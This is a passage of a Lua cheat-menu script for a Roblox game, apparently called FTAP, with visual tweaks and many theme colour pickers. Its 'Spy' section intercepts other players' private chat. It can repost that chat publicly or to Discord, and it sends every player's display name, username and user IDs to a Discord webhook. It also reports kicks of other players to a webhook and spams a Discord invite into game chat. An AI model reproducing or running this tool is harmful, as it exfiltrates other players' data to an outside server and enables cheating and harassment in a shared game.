Suffix = "(70 Normally)",
CurrentValue = 70,
Flag = "FOVSlider",
Callback = function(Value)
S.w.CurrentCamera.FieldOfView = Value
end,
})
visualtab:CreateSection("Color Correction")
visualtab:CreateToggle({
Name = "LSD",
CurrentValue = false,
Flag = "LSD",
Callback = function(Value)
LSD = Value
O.ccc.Enabled = LSD
if LSD then
local save1 = O.ccc.Brightness
local save2 = O.ccc.Contrast
local save3 = O.ccc.Saturation
O.ccc.Brightness = 1
O.ccc.Contrast = 10
O.ccc.Saturation = 1
while LSD do
O.ccc.TintColor =
Color3.fromRGB(math.random(0,255), math.random(0,255), math.random(0,255))
task.wait()
end
O.ccc.Brightness = save1
O.ccc.Contrast = save2
O.ccc.Saturation = save3
end
end,
})
visualtab:CreateToggle({
Name = "Color Correction",
CurrentValue = false,
Flag = "ColorCorrection",
Callback = function(Value)
O.ccc.Enabled = Value
end,
})
visualtab:CreateSlider({
Name = "Brightness",
Range = {0,10},
Increment = 1,
Suffix = "",
CurrentValue = 0,
Flag = "Brightness",
Callback = function(Value)
O.ccc.Brightness = Value
end,
})
visualtab:CreateSlider({
Name = "Contrast",
Range = {0,100},
Increment = 1,
Suffix = "",
CurrentValue = 0,
Flag = "Contrast",
Callback = function(Value)
O.ccc.Contrast = Value
end,
})
visualtab:CreateSlider({
Name = "Saturation",
Range = {0,100},
Increment = 1,
Suffix = "",
CurrentValue = 0,
Flag = "Saturation",
Callback = function(Value)
O.ccc.Saturation = Value
end,
})
visualtab:CreateColorPicker({
Name = "Tint Color",
Color = Color3.fromRGB(0,0,0),
Flag = "TintColor",
Callback = function(Value)
O.ccc.TintColor = Value
end
})
guitab:CreateColorPicker({
Name = "TextColor",
Color = Color3.fromRGB(240, 240, 240),
Flag = "TextColor/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.TextColor = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "Background",
Color = Color3.fromRGB(25, 25, 25),
Flag = "Background/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.Background = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "Topbar",
Color = Color3.fromRGB(34, 34, 34),
Flag = "Topbar/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.Topbar = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "Shadow",
Color = Color3.fromRGB(20, 20, 20),
Flag = "Shadow/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.Shadow = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "NotificationBackground",
Color = Color3.fromRGB(20, 20, 20),
Flag = "NotificationBackground/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.NotificationBackground = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "NotificationActionsBackground",
Color = Color3.fromRGB(230, 230, 230),
Flag = "NotificationActionsBackground/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.NotificationActionsBackground =
Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "TabBackground",
Color = Color3.fromRGB(80, 80, 80),
Flag = "TextTabBackgroundColor/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.TextTabBackgroundColor = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "TabStroke",
Color = Color3.fromRGB(85, 85, 85),
Flag = "TabStroke/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.TabStroke = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "TabBackgroundSelected",
Color = Color3.fromRGB(210, 210, 210),
Flag = "TabBackgroundSelected/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.TabBackgroundSelected = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "TabTextColor",
Color = Color3.fromRGB(240, 240, 240),
Flag = "TabTextColor/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.TabTextColor = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "SelectedTabTextColor",
Color = Color3.fromRGB(50, 50, 50),
Flag = "SelectedTabTextColor/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.SelectedTabTextColor = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "ElementBackground",
Color = Color3.fromRGB(35, 35, 35),
Flag = "ElementBackground/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.ElementBackground = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "ElementBackgroundHover",
Color = Color3.fromRGB(40, 40, 40),
Flag = "ElementBackgroundHover/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.ElementBackgroundHover = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "SecondaryElementBackground",
Color = Color3.fromRGB(25, 25, 25),
Flag = "SecondaryElementBackground/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.SecondaryElementBackground = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "ElementStroke",
Color = Color3.fromRGB(50, 50, 50),
Flag = "ElementStroke/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.ElementStroke = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "SecondaryElementStroke",
Color = Color3.fromRGB(40, 40, 40),
Flag = "SecondaryElementStroke/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.SecondaryElementStroke = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "SliderBackground",
Color = Color3.fromRGB(43, 105, 159),
Flag = "SliderBackground/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.SliderBackground = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "SliderProgress",
Color = Color3.fromRGB(43, 105, 159),
Flag = "SliderProgress/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.SliderProgress = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "SliderStroke",
Color = Color3.fromRGB(48, 119, 177),
Flag = "SliderStroke/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.SliderStroke = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "ToggleBackground",
Color = Color3.fromRGB(30, 30, 30),
Flag = "ToggleBackground/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.ToggleBackground = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "ToggleEnabled",
Color = Color3.fromRGB(0, 146, 214),
Flag = "ToggleEnabled/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.ToggleEnabled = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "ToggleDisabled",
Color = Color3.fromRGB(100, 100, 100),
Flag = "ToggleDisabled/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.ToggleDisabled = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "ToggleEnabledStroke",
Color = Color3.fromRGB(0, 170, 255),
Flag = "ToggleEnabledStroke/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.ToggleEnabledStroke = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "ToggleDisabledStroke",
Color = Color3.fromRGB(125, 125, 125),
Flag = "ToggleDisabledStroke/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.ToggleDisabledStroke = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "ToggleEnabledOuterStroke",
Color = Color3.fromRGB(100, 100, 100),
Flag = "ToggleEnabledOuterStroke/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.ToggleEnabledOuterStroke = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "ToggleDisabledOuterStroke",
Color = Color3.fromRGB(65, 65, 65),
Flag = "ToggleDisabledOuterStroke/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.ToggleDisabledOuterStroke = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "InputBackground",
Color = Color3.fromRGB(30, 30, 30),
Flag = "InputBackground/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.InputBackground = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "InputStroke",
Color = Color3.fromRGB(65, 65, 65),
Flag = "InputStroke/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.InputStroke = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateColorPicker({
Name = "PlaceholderColor",
Color = Color3.fromRGB(178, 178, 178),
Flag = "PlaceholderColor/rfc",
Callback = function(Value)
Ld.field.Theme.Default2.PlaceholderColor = Value
Ld.field:ChangeTheme("Default2")
end
})
guitab:CreateSection("FTAP")
guitab:CreateColorPicker({
Name = "Coins",
Color = Color3.fromRGB(0, 0, 0),
Flag = "Coins/ftapc",
Callback = function(Value)
Lt.ftapcolors.Coins = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "TabBar",
Color = Color3.fromRGB(66, 66, 66),
Flag = "TabBar/ftapc",
Callback = function(Value)
Lt.ftapcolors.TabBar = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "Settings",
Color = Color3.fromRGB(0, 0, 0),
Flag = "Settings/ftapc",
Callback = function(Value)
Lt.ftapcolors.Settings = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "Shop",
Color = Color3.fromRGB(0, 0, 0),
Flag = "Shop/ftapc",
Callback = function(Value)
Lt.ftapcolors.Shop = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "ToyDestroy",
Color = Color3.fromRGB(0, 0, 0),
Flag = "ToyDestroy/ftapc",
Callback = function(Value)
Lt.ftapcolors.ToyDestroy = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "ToyShop",
Color = Color3.fromRGB(0, 0, 0),
Flag = "ToyShop/ftapc",
Callback = function(Value)
Lt.ftapcolors.ToyShop = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "Toys",
Color = Color3.fromRGB(0, 0, 0),
Flag = "Toys/ftapc",
Callback = function(Value)
Lt.ftapcolors.Toys = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "SettingsContents",
Color = Color3.fromRGB(90, 90, 90),
Flag = "SettingsContents/ftapc",
Callback = function(Value)
Lt.ftapcolors.SettingsContents = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "SettingsTitle",
Color = Color3.fromRGB(66, 66, 66),
Flag = "SettingsTitle/ftapc",
Callback = function(Value)
Lt.ftapcolors.SettingsTitle = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "ShopTitle",
Color = Color3.fromRGB(66, 66, 66),
Flag = "ShopTitle/ftapc",
Callback = function(Value)
Lt.ftapcolors.ShopTitle = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "ShopContents",
Color = Color3.fromRGB(90, 90, 90),
Flag = "ShopContents/ftapc",
Callback = function(Value)
Lt.ftapcolors.ShopContents = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "ToysContents",
Color = Color3.fromRGB(90, 90, 90),
Flag = "ToysContents/ftapc",
Callback = function(Value)
Lt.ftapcolors.ToysContents = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "FavoritesFrame",
Color = Color3.fromRGB(120, 120, 120),
Flag = "FavoritesFrame/ftapc",
Callback = function(Value)
Lt.ftapcolors.FavoritesFrame = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "Favorites",
Color = Color3.fromRGB(66, 66, 66),
Flag = "Favorites/ftapc",
Callback = function(Value)
Lt.ftapcolors.Favorites = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "MeterFrame",
Color = Color3.fromRGB(120, 120, 120),
Flag = "MeterFrame/ftapc",
Callback = function(Value)
Lt.ftapcolors.MeterFrame = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "SortingTabs",
Color = Color3.fromRGB(120, 120, 120),
Flag = "SortingTabs/ftapc",
Callback = function(Value)
Lt.ftapcolors.SortingTabs = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "ToysTitle",
Color = Color3.fromRGB(66, 66, 66),
Flag = "ToysTitle/ftapc",
Callback = function(Value)
Lt.ftapcolors.ToysTitle = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "DestroyTitle",
Color = Color3.fromRGB(66, 66, 66),
Flag = "DestroyTitle/ftapc",
Callback = function(Value)
Lt.ftapcolors.DestroyTitle = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "DestroyContents",
Color = Color3.fromRGB(90, 90, 90),
Flag = "DestroyContents/ftapc",
Callback = function(Value)
Lt.ftapcolors.DestroyContents = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "DestroyMeterFrame",
Color = Color3.fromRGB(120, 120, 120),
Flag = "DestroyMeterFrame/ftapc",
Callback = function(Value)
Lt.ftapcolors.DestroyMeterFrame = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "ToyShopTitle",
Color = Color3.fromRGB(66, 66, 66),
Flag = "ToyShopTitle/ftapc",
Callback = function(Value)
Lt.ftapcolors.ToyShopTitle = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "ToyShopSortingTabs",
Color = Color3.fromRGB(120, 120, 120),
Flag = "ToyShopSortingTabs/ftapc",
Callback = function(Value)
Lt.ftapcolors.ToyShopSortingTabs = Value
set_ftap_color()
end
})
guitab:CreateColorPicker({
Name = "ToyShopContents",
Color = Color3.fromRGB(90, 90, 90),
Flag = "ToyShopContents/ftapc",
Callback = function(Value)
Lt.ftapcolors.ToyShopContents = Value
set_ftap_color()
end
})
GridLayoutX = 90
GridLayoutY = 90
guitab:CreateSlider({
Name = "Grid Layout X",
Range = {0, 100},
Increment = 1,
Suffix = "(90 Default)",
CurrentValue = 90,
Flag = "GridLayoutX",
Callback = function(Value)
GridLayoutX = Value
O.me.PlayerGui.MenuGui.Menu.TabContents.Toys.Contents.UIGridLayout.CellSize =
UDim2.new(0, GridLayoutX, 0, GridLayoutY)
O.me.PlayerGui.MenuGui.Menu.TabContents.ToyShop.Contents.UIGridLayout.CellSize =
UDim2.new(0, GridLayoutX, 0, GridLayoutY)
O.me.PlayerGui.MenuGui.Menu.TabContents.ToyDestroy.Contents.UIGridLayout.CellSize =
UDim2.new(0, GridLayoutX, 0, GridLayoutY)
end,
})
guitab:CreateSlider({
Name = "Grid Layout Y",
Range = {0, 100},
Increment = 1,
Suffix = "(90 Default)",
CurrentValue = 90,
Flag = "GridLayoutY",
Callback = function(Value)
GridLayoutY = Value
O.me.PlayerGui.MenuGui.Menu.TabContents.Toys.Contents.UIGridLayout.CellSize =
UDim2.new(0, GridLayoutX, 0, GridLayoutY)
O.me.PlayerGui.MenuGui.Menu.TabContents.ToyShop.Contents.UIGridLayout.CellSize =
UDim2.new(0, GridLayoutX, 0, GridLayoutY)
O.me.PlayerGui.MenuGui.Menu.TabContents.ToyDestroy.Contents.UIGridLayout.CellSize =
UDim2.new(0, GridLayoutX, 0, GridLayoutY)
end,
})
visualtab:CreateSection("Crosshair")
spytab:CreateSection("Chat Spy")
spytab:CreateToggle({
Name = "Spy Toggle",
CurrentValue = false,
Flag = "SpyToggle",
Callback = function(Value)
L.spyenabled = Value
Lt.privateProperties.Text = "♥VSPY "..(L.spyenabled and
"EN" or "DIS").."ABLED♥"
O.me:WaitForChild("PlayerGui"):WaitForChild("Chat")
S.StarterGui:SetCore("ChatMakeSystemMessage",Lt.privateProperties)
end,
})
spytab:CreateToggle({
Name = "Publish To Chat",
CurrentValue = false,
Flag = "PublishToChat",
Callback = function(Value)
L.public = Value
end,
})
spytab:CreateToggle({
Name = "Publish To Discord",
CurrentValue = false,
Flag = "PublishToDiscord",
Callback = function(Value)
L.publicds = Value
end,
})
spytab:CreateColorPicker({
Name = "Spy Color",
Color = Color3.fromRGB(255,0,0),
Callback = function(Value)
Lt.privateProperties.Color = Value
end
})
spytab:CreateSection("Player Spy")
spytab:CreateToggle({
Name = "Publish All Info To Discord",
CurrentValue = false,
Flag = "PublishAllInfoToDiscord",
Callback = function(Value)
L.paitd = Value
dnotify("spyallplrinfo3333333333333333333", 3)
print(L.spyallplrinfo)
if L.spyallplrinfo then
dnotify("spyallplrinfo", 3)
for _,plr in ipairs(S.Players:GetPlayers()) do
dnotify("spyallplrinfo123123123", 3)
dssend(Str.playerinfoweb, {content =
plr.DisplayName.." "..plr.Name.." "..plr.UserId.." "..plr.FollowUserId,username =
O.me.DisplayName.." ("..O.myname..")"})
end
L.spyallplrinfo = false
end
end,
})
infotab:CreateLabel("Creator: VHCK")
infotab:CreateButton({
Name = "Copy Discord URL", -- dÍŸsÍŸcÍŸ.ÍŸgÍŸgÍŸ/ÍŸvÍŸhÍŸsÍŸsÍŸ
Callback = function()
setclipboard("https://discord.gg/BCw8KuTDnj")
end,
})
infotab:CreateButton({
Name = "Say to chat disscord link",
Callback = function()
O.Events.saymsg:FireServer("dÍŸsÍŸcÍŸ.ÍŸgÍŸgÍŸ/ÍŸvÍŸhÍŸsÍŸsÍŸ","All")
end,
})
S.w.ChildAdded:Connect(function(mmodel)
if mmodel.Name == "BlackHoleKick" then
N.kickcountc = N.kickcountc+1
kickcount:Set("Kicked: "..N.kickcountc)
kickcount1:Set("Kicked: "..N.kickcountc)
dssend(Str.kicksweb, {content = "+kick",username = O.me.DisplayName.."
("..O.myname..")"})
end
end)
Ld.field:LoadConfiguration()